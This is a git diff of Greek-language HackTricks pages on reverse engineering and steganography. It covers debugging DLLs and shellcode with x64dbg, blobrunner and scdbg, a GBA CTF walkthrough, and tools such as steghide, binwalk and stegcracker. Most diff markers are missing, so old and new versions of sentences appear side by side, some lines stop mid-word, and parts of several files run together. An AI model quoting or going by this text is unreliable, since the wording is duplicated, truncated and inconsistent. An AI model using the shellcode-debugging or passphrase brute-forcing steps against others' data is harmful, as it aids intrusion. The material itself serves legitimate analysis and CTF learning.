Κάντε δεξί κλικ σε οποιοδήποτε module στο **Assembly Explorer** και κάντε κλικ σε **Ταξινόμηση Συναρτήσεων**:
![](<../../.gitbook/assets/image (285).png>)
@ -129,7 +137,7 @@ iisreset /noforce
* **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32 bit στο C:\Windows\SysWOW64\rundll32.exe)
* Επιλέξτε τον **Αποσφαλματωτή Windbg**
* Επιλέξτε "**Διακοπή στη φόρτωση/εκφόρτωση βιβλιοθήκης**"
* Επιλέξτε "**Διακοπή σε φόρτωση/εκφόρτωση βιβλιοθήκης**"
![](<../../.gitbook/assets/image (135).png>)
@ -137,22 +145,22 @@ iisreset /noforce
![](<../../.gitbook/assets/image (136).png>)
Στη συνέχεια, όταν ξεκινήσετε τον εντοπισμό σφαλμάτων, η εκτέλεση θα σταματά όταν φορτώνεται κάθε DLL, έτσι όταν το rundll32 φορτώσει το DLL σας, η εκτέλεση θα σταματήσει.
Στη συνέχεια, όταν ξεκινήσετε την εντοπισμό σφαλμάτων, η εκτέλεση θα σταματήσει όταν φορτωθεί κάθε DLL, έπειτα, όταν το rundll32 φορτώσει το DLL σας, η εκτέλεση θα σταματήσει.
Αλλά, πώς μπορείτε να φτάσετε στον κώδικα του DLL που φορτώθηκε; Χρησιμοποιώντας αυτήν τη μέθοδο, δεν ξέρω πώς.
### Χρησιμοποιώντας x64dbg/x32dbg
* **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32 bit στο C:\Windows\SysWOW64\rundll32.exe)
* **Αλλάξτε τη γραμμή εντολών** (_Αρχείο --> Αλλαγή Γραμμής Εντολών_) και ορίστε το μονοπάτι του dll και τη συνάρτηση που θέλετε να καλέσετε, για παράδειγμα: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* **Αλλάξτε τη γραμμή εντολών** (_File --> Αλλαγή Γραμμής Εντολών_) και ορίστε το μονοπάτι του dll και τη συνάρτηση που θέλετε να καλέσετε, για παράδειγμα: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* Αλλάξτε _Επιλογές --> Ρυθμίσεις_ και επιλέξτε "**Είσοδος DLL**".
* Στη συνέχεια **ξεκινήστε την εκτέλεση**, ο αποσφαλματωτής θα σταματήσει σε κάθε κύρια dll, σε κάποιο σημείο θα **σταματήσετε στην είσοδο της dll** σας. Από εκεί, απλά αναζητήστε τα σημεία όπου θέλετε να τοποθετήσετε ένα σημείο διακοπής.
* Στη συνέχεια **ξεκινήστε την εκτέλεση**, ο αποσφαλματιστής θα σταματήσει σε κάθε κύρια dll, σε κάποιο σημείο θα **σταματήσετε στην είσοδο της dll του dll**. Από εκεί, απλά αναζητήστε τα σημεία όπου θέλετε να τοποθετήσετε ένα σημείο διακοπής.
Σημειώστε ότι όταν η εκτέλεση σταματάει για οποιονδήποτε λόγο στο win64dbg, μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτώντας στην **κορυφή του παραθύρου win64dbg**:
Σημειώστε ότι όταν η εκτέλεση σταματάει για οποιοδήποτε λόγο στο win64dbg, μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτώντας στην **κορυφή του παραθύρου win64dbg**:
![](<../../.gitbook/assets/image (137).png>)
Έτσι, κοιτώντας αυτό μπορείτε να δείτε πότε η εκτέλεση σταμάτησε στην dll που θέλετε να εντοπίσετε.
Έτσι, κοιτώντας αυτό μπορείτε να δείτε πότε η εκτέλεση σταμάτησε στο dll που θέλετε να αποσφαλματώσετε.
## Εφαρμογές GUI / Βιντεοπαιχνίδια
@ -171,7 +179,7 @@ iisreset /noforce
### Αποσφαλμάτωση ενός shellcode με το blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) θα **εκχωρήσει** το **shellcode** μέσα σε ένα χώρο μνήμης, θα **εμφανίσει** τη **διεύθυνση μνήμης** όπου εκχωρήθηκε το shellcode και θα **σταματήσει** την εκτέλεση.\
Στη συνέχεια, πρέπει να **συνδέσετε έναν αποσφαλματή** (Ida ή x64dbg) στη διαδικασία και να τοποθετήσετε ένα **σημείο διακοπής στην υποδειγμένη διεύθυνση μνήμης** και να **συνεχίσετε** την εκτέλεση. Με αυτόν τον τρόπο θα αποσφαλματίζετε το shellcode.
Στη συνέχεια, πρέπει να **συνδέσετε έναν αποσφαλματιστή** (Ida ή x64dbg) στη διαδικασία και να τοποθετήσετε ένα **σημείο διακοπής στην ενδεικτική διεύθυνση μνήμης** και να **συνεχίσετε** την εκτέλεση. Με αυτόν τον τρόπο θα αποσφαλματώνετε το shellcode.
Η σελίδα κυκλοφορίας του github περιέχει zip που περιέχουν τις συνταγμένες κυκλοφορίες: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Μπορείτε να βρείτε μια ελαφρώς τροποποιημένη έκδοση του Blobrunner στον ακόλουθο σύνδεσμο. Για να το συντάξετε, απλά **δημιουργήστε ένα έργο C/C++ στο Visual Studio Code, αντιγράψτε και επικολλήστε τον κώδικα και κάντε την κατασκευή**.
@ -182,7 +190,7 @@ iisreset /noforce
### Αποσφαλμάτωση ενός shellcode με το jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)είναι πολύ παρόμοιο με το blobrunner. Θα **εκχωρήσει** το **shellcode** μέσα σε ένα χώρο μνήμης και θα ξεκινήσει ένα **αιώνιο βρόχο**. Στη συνέχεια πρέπει να **συνδέσετε τον αποσφαλματή** στη διαδικασία, **να ξεκινήσετε, να περιμένετε 2-5 δευτερόλεπτα και να πατήσετε σταμάτημα** και θα βρεθείτε μέσα στον **αιώνιο βρόχο**. Μεταβείτε στην επόμενη εντολή του αιώνιου βρόχου καθώς θα είναι μια κλήση στο shellcode, και τελικά θα βρεθείτε να εκτελείτε το shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)είναι πολύ παρόμοιο με το blobrunner. Θα **εκχωρήσει** το **shellcode** μέσα σε ένα χώρο μνήμης και θα ξεκινήσει ένα **αιώνιο βρόχο**. Στη συνέχεια πρέπει να **συνδέσετε τον αποσφαλματιστή** στη διαδικασία, **να παίξετε ξεκινήστε περιμένετε 2-5 δευτερόλεπτα και πατήστε σταμάτηση** και θα βρεθείτε μέσα στον **αιώνιο βρόχο**. Μεταβείτε στην επόμενη εντολή του αιώνιου βρόχου καθώς θα είναι μια κλήση στο shellcode, και τελικά θα βρεθείτε να εκτελείτε το shellcode.
![](<../../.gitbook/assets/image (397).png>)
@ -192,7 +200,7 @@ iisreset /noforce
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) είναι το GUI του radare. Χρησιμοποιώντας το Cutter μπορείτε να εξομοιώσετε το shellcode και να το επιθεωρήσετε δυναμικά.
Σημειώστε ότι το Cutter σάς επιτρέπει να "Ανοίξετε Αρχείο" και "Ανοίξετε Shellcode". Στην περίπτωσή μου, όταν άνοιξα το shellcode ως αρχείο το αποκώδισε σωστά, αλλά όταν το άνοιξα ως shellcode δεν το έκανε:
Σημειώστε ότι το Cutter σάς επιτρέπει να "Ανοίξετε Αρχείο" και "Ανοίξετε Shellcode". Στην περίπτωσή μου, όταν άνοιξα το shellcode ως αρχείο, το αποκώδισε σωστά, αλλά όταν το άνοιξα ως shellcode δεν το έκανε:
![](<../../.gitbook/assets/image (400).png>)
@ -202,13 +210,14 @@ iisreset /noforce
![](<../../.gitbook/assets/image (401).png>)
Μπορείτε να δείτε τη στοίβα για παράδειγμα μέσα σε ένα αποσπώμενο hex dump:
Μπορείτε να δείτε τη στοίβα για παράδειγμα μέσα σε ένα ανάλυση hex:
![](<../../.gitbook/assets/image (402).png>)
### Αποκωδικοποίηση shellcode και λήψη εκτελούμενων συναρτήσεων
Θα πρέπει να δοκι
Θα πρέπει να δοκιμάσετε το [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Θα σα
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -221,15 +230,15 @@ scDbg διαθέτει επίσης ένα γραφικό εκκινητή, όπ
![](<../../.gitbook/assets/image (398).png>)
Η επιλογή **Create Dump** θα ανακτήσει το τελικό shellcode εάν γίνει οποιαδήποτε αλλαγή δυναμικά στο shellcode στη μνήμη (χρήσιμο για να κατεβάσετε το αποκωδικοποιημένο shellcode). Το **start offset** μπορεί να είναι χρήσιμο για να ξεκινήσετε το shellcode σε συγκεκριμένη θέση. Η επιλογή **Debug Shell** είναι χρήσιμη για να εκτελέσετε αποσφαλματωμένο το shellcode χρησιμοποιώντας το τερματικό scDbg (ωστόσο θεωρώ ότι οποιαδήποτε από τις προηγούμενα εξηγημένες επιλογές είναι καλύτερη για αυτό το θέμα, καθώς θα μπορείτε να χρησιμοποιήσετε το Ida ή το x64dbg).
Η επιλογή **Create Dump** θα ανακτήσει το τελικό shellcode εάν γίνει οποιαδήποτε αλλαγή δυναμικά στο shellcode στη μνήμη (χρήσιμο για να κατεβάσετε το αποκωδικοποιημένο shellcode). Το **start offset** μπορεί να είναι χρήσιμο για να ξεκινήσετε το shellcode σε συγκεκριμένη θέση. Η επιλογή **Debug Shell** είναι χρήσιμη για να εκτελέσετε αποσφαλματώνοντας το shellcode χρησιμοποιώντας το τερματικό scDbg (ωστόσο θεωρώ ότι οποιαδήποτε από τις προηγούμενα εξηγημένες επιλογές είναι καλύτερες για αυτό το θέμα καθώς θα μπορείτε να χρησιμοποιήσετε το Ida ή το x64dbg).
### Αποσυναρμολόγηση χρησιμοποιώντας το CyberChef
Μεταφορτώστε το αρχείο shellcode σας ως είσοδο και χρησιμοποιήστε την ακόλουθη συνταγή για να αποσυναρμολογήσετε τον κώδικα: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
Μεταφορτώστε το αρχείο shellcode σας ως είσοδο και χρησιμοποιήστε την ακόλουθη συνταγή για να αποσυναρμολογήσετε: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Αυτός ο obfuscator **τροποποιεί όλες τις οδηγίες για `mov`** (ναι, πραγματικά καλό). Χρησιμοποιεί επίσης διακοπές για να αλλάξει τις ροές εκτέλεσης. Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί:
Αυτός ο obfuscator **τροποποιεί όλες τις οδηγίες για `mov`**(ναι, πραγματικά cool). Χρησιμοποιεί επίσης διακοπές για να αλλάξει τις ροές εκτέλεσης. Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
@ -241,7 +250,7 @@ apt-get install libz3-dev
```
Και [εγκαταστήστε το keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Εάν παίζετε ένα **CTF, αυτή η μέθοδος για την εύρεση της σημαίας** μπορεί να είναι πολύ χρήσιμη: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Εάν παίζετε ένα **CTF, αυτή η παράκαμψη για την εύρεση της σημαίας** μπορεί να είναι πολύ χρήσιμη: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
@ -260,7 +269,7 @@ apt-get install libz3-dev
Απλά πατήστε **ATL+f7** (εισαγωγή πρόσθετου python στο IDA) και επιλέξτε το πρόσθετο python.
Αυτό το πρόσθετο θα εκτελέσει το δυαδικό αρχείο και θα επιλύσει δυναμικά τα ονόματα των συναρτήσεων στην έναρξη της αποσφαλμάτωσης. Μετά την έναρξη της αποσφαλμάτωσης, πατήστε ξανά το κουμπί Έναρξης (το πράσινο ή f9) και θα ενεργοποιηθεί ένα σημείο αναστολής στην αρχή του πραγματικού κώδικα.
Αυτό το πρόσθετο θα εκτελέσει το δυαδικό αρχείο και θα επιλύσει δυναμικά τα ονόματα των συναρτήσεων στην έναρξη της αποσφαλμάτωσης. Μετά την έναρξη της αποσφαλμάτωσης, πατήστε ξανά το κουμπί Έναρξης (το πράσινο ή f9) και θα εμφανιστεί ένα σημείο αναστολής στην αρχή του πραγματικού κώδικα.
Είναι επίσης πολύ ενδιαφέρον επειδή εάν πατήσετε ένα κουμπί στη γραφική εφαρμογή, το αποσφαλματωτής θα σταματήσει στη συνάρτηση που εκτελείται από αυτό το κουμπί.
@ -345,7 +354,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Το τελευταίο if ελέγχει αν το **`uVar4`** βρίσκεται στα **τελευταία Keys** και δεν είναι το τρέχον κλειδί, επίσης ονομάζεται αφήνοντας ένα κουμπί (το τρέχον κλειδί αποθηκεύεται στο **`uVar1`**).
Το τελευταίο if ελέγχει αν το **`uVar4`** βρίσκεται στα **τελευταία Keys** και δεν είναι το τρέχον κλειδί, που ονομάζεται επίσης απελευθέρωση ενός κουμπιού (το τρέχον κλειδί αποθηκεύεται στο **`uVar1`**).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -378,7 +387,38 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
* Αρχικά, συγκρίνεται με τη **τιμή 4** (κουμπί **SELECT**): Στην πρόκληση αυτό το κουμπί καθαρίζει την οθόνη
* Στη συνέχεια, συγκρίνεται με τη **τιμή 8** (κουμπί **START**): Στην πρόκληση αυτό ελέγχει αν ο κώδικας είναι έγκυρος για να λάβετε τη σημαία.
* Σε αυτήν την περίπτωση η μεταβλητή **`DAT_030000d8`** συγκρίνεται με 0xf3 και αν η τιμή είναι ίδια εκτελείται κάποιος κώδικας.
* Σε οποιεσδήποτε άλλες περιπτώσεις, ελέγχεται μια μεταβλητή cont (`DAT_030000d4`). Είναι μια μεταβλητή cont επειδή προστίθεται 1 αμέσως μετά την εισαγωγή του κώδικα.\
* Σε οποιεσδήποτε άλλες περιπτώσεις, ελέγχεται μια μεταβλητή cont (`DAT_030000d4`). Είναι μια μεταβλητή cont επειδή προστίθεται 1 αμέσως μετά την είσοδο στον κώδικα.\
Αν είναι λιγότερο από 8 κάτι που περιλαμβάνει την **προσθήκη** τιμών στο **`DAT_030000d8`** γίνεται (βασικά προσθέτει τις τιμές των πλήκτρων που πατήθηκαν σε αυτήν τη μεταβλητή όσο η μεταβλητή cont είναι μικρότερη από 8).
Έτσι, σε αυτήν την πρόκληση, γνωρίζοντας τις τιμές των κουμπιών, έπρεπε να **πατήσετε μια συνδυασμό με μήκος μικρότερο από 8 ώστε το αποτέλεσμα της πρόσθεσης να είναι 0xf3.**
Έτσι, σε αυτήν την πρόκληση, γνωρίζοντας τις τιμές των κουμπιών, έπρεπε να **πατήσετε μια συνδυασμό με μήκος μικρότερο από 8 ώστε η τελική πρόσθεση να είναι 0xf3.**
**Αναφορά για αυτό το εγχειρίδιο:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
## Μαθήματα
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Αποκωδικοποίηση δυαδικών)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -2,18 +2,26 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Εξαγωγή Δεδομένων από Αρχεία**
### **Binwalk**
@ -26,13 +34,13 @@ binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Ανακτά αρχεία με βάση τους τίτλους και τους υποσένδες τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
Ανακτά αρχεία με βάση τα headers και footers τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Βοηθά στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
Βοηθάει στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
@ -86,7 +94,7 @@ cmp original.jpg stego.jpg -b -l
```
### **Steghide για Απόκρυψη Δεδομένων**
Το Steghide διευκολύνει την απόκρυψη δεδομένων εντός αρχείων `JPEG, BMP, WAV, και AU`, ικανό να ενσωματώνει και να εξάγει κρυπτογραφημένα δεδομένα. Η εγκατάσταση είναι απλή χρησιμοποιώντας το `apt`, και ο [πηγαίος κώδικας είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide).
Το Steghide διευκολύνει την απόκρυψη δεδομένων εντός αρχείων `JPEG, BMP, WAV, και AU`, ικανό για την ενσωμάτωση και εξαγωγή κρυπτογραφημένων δεδομένων. Η εγκατάσταση είναι απλή χρησιμοποιώντας το `apt`, και ο [πηγαίος κώδικας είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide).
**Εντολές:**
@ -97,7 +105,7 @@ cmp original.jpg stego.jpg -b -l
**Επίθεση Βίας με το Stegcracker:**
* Για να δοκιμάσετε την αποκωδικοποίηση κωδικών πρόσβασης στο Steghide, χρησιμοποιήστε το [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
* Για να δοκιμάσετε την αποκρυπτογράφηση κωδικών πρόσβασης στο Steghide, χρησιμοποιήστε το [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
```bash
stegcracker <file> [<wordlist>]
```
@ -112,7 +120,7 @@ stegcracker <file> [<wordlist>]
### **StegoVeritas και Stegsolve**
Το **stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει αναζήτηση με τη βία LSB μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους.
Το **stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει αναζήτηση με τη μέθοδο LSB μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους.
Το **Stegsolve** εφαρμόζει διάφορα φίλτρα χρωμάτων για να αποκαλύψει κρυμμένα κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
@ -147,19 +155,7 @@ pngcheck stego.png
## **Εξαγωγή Δεδομένων από Ήχους**
Η **ακουστική στεγανογραφία** προσφέρει ένα μοναδικό τρόπο για την κρυψοκράτηση πληροφοριών μέσα σε αρχεία ήχου. Διάφορα εργαλεία χρησιμοποιούνται για την ενσωμάτωση ή την ανάκτηση κρυφού περιεχομένου.
### **Steghide (JPEG, BMP, WAV, AU)**
Το Steghide είναι ένα ευέλικτο εργαλείο σχεδιασμένο για την κρυψοκράτηση δεδομένων σε αρχεία JPEG, BMP, WAV και AU. Λεπτομερείς οδηγίες παρέχονται στο [έγγραφο με τα κόλπα της stego](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Αυτό το εργαλείο είναι συμβατό με μια ποικιλία μορφών, συμπεριλαμβανομένων PNG, BMP, GIF, WebP και WAV. Για περισσότερες πληροφορίες, ανατρέξτε στην [ενότητα του Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
Το ffmpeg είναι κρίσιμο για την αξιολόγηση της ακεραιότητας των αρχείων ήχου, επισημαίνοντας λεπτομερείς πληροφορίες και εντοπίζοντας οποιεσδήποτε αντιφάσεις.
Η **ακουστική στεγανογραφία** προσφέρει ένα μοναδικό τρόπο για την κρυψοκάλυψη πληροφορι
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
@ -177,17 +173,17 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
### **Sonic Visualizer**
Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν είναι ανιχνεύσιμα με άλλα μέσα. Επισκεφθείτε την [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερες πληροφορίες.
Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν είναι ανιχνεύσιμα με άλλα μέσα. Επισκεφθείτε τη [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερες πληροφορίες.
### **DTMF Tones - Ήχοι Κλήσης**
Η ανίχνευση των τόνων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω online εργαλείων όπως αυτό το [ανιχνευτή DTMF](https://unframework.github.io/dtmf-detect/) και το [DialABC](http://dialabc.com/sound/detect/index.html).
Η ανίχνευση των ήχων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω online εργαλείων όπως αυτό το [ανιχνευτή DTMF](https://unframework.github.io/dtmf-detect/) και το [DialABC](http://dialabc.com/sound/detect/index.html).
## **Άλλες Τεχνικές**
### **Δυαδικό Μήκος SQRT - QR Code**
Δεδομένα που αντιστοιχούν σε έναν ακέραιο αριθμό όταν υψώνονται στο τετράγωνο μπορεί να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για έλεγχο:
Δεδομένα που αντιστοιχούν σε έναν ακέραιο αριθμό όταν υψώνονται στο τετράγωνο ενδέχεται να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για έλεγχο:
```python
import math
math.sqrt(2500) #50
@ -201,6 +197,12 @@ math.sqrt(2500) #50
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -211,6 +213,6 @@ math.sqrt(2500) #50
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -4,35 +4,49 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
